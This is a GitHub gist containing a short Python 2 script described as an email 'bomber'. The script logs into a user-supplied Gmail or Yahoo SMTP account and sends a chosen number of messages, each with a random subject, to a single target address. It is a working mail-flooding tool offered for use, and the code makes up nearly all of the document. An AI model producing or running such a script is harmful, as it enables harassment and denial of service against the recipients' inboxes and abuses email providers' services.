Created
February 19, 2015 03:31
-
-
Save Gioyik/d87adcc23fb81c83f430 to your computer and use it in GitHub Desktop.
A try to make a bomber mail
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import os | |
import smtplib | |
import getpass | |
import sys | |
server = raw_input ('server: ') | |
user = raw_input('username: ') | |
passwd = getpass.getpass('password: ') | |
to = raw_input('\nto: ') | |
#subject = raw_input('subject: ') | |
body = raw_input('message: ') | |
total = input('number of emails to send: ') | |
if server == 'gmail': | |
smtp_server = 'smtp.gmail.com' | |
port = 587 | |
elif server == 'yahoo': | |
smtp_server = 'smtp.mail.yahoo.com' | |
port = 25 | |
else: | |
print 'Applies only to gmail and yahoo.' | |
sys.exit() | |
print '' | |
try: | |
server = smtplib.SMTP(smtp_server,port) | |
server.ehlo() | |
if smtp_server == "smtp.gmail.com": | |
server.starttls() | |
server.login(user,passwd) | |
for i in range(1, total+1): | |
subject = os.urandom(9) | |
msg = 'from: ' + user + '\nsubject: ' + subject + '\n' + body | |
server.sendmail(user,to,msg) | |
print "\remails sent: %i" % i | |
sys.stdout.flush() | |
server.quit() | |
print '\n done !!!' | |
except KeyboardInterrupt: | |
print '[-] canceled' | |
sys.exit() | |
except smtplib.SMTPAuthenticationError: | |
print '\n[!] The username or password entered is incorrect.' | |
sys.exit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment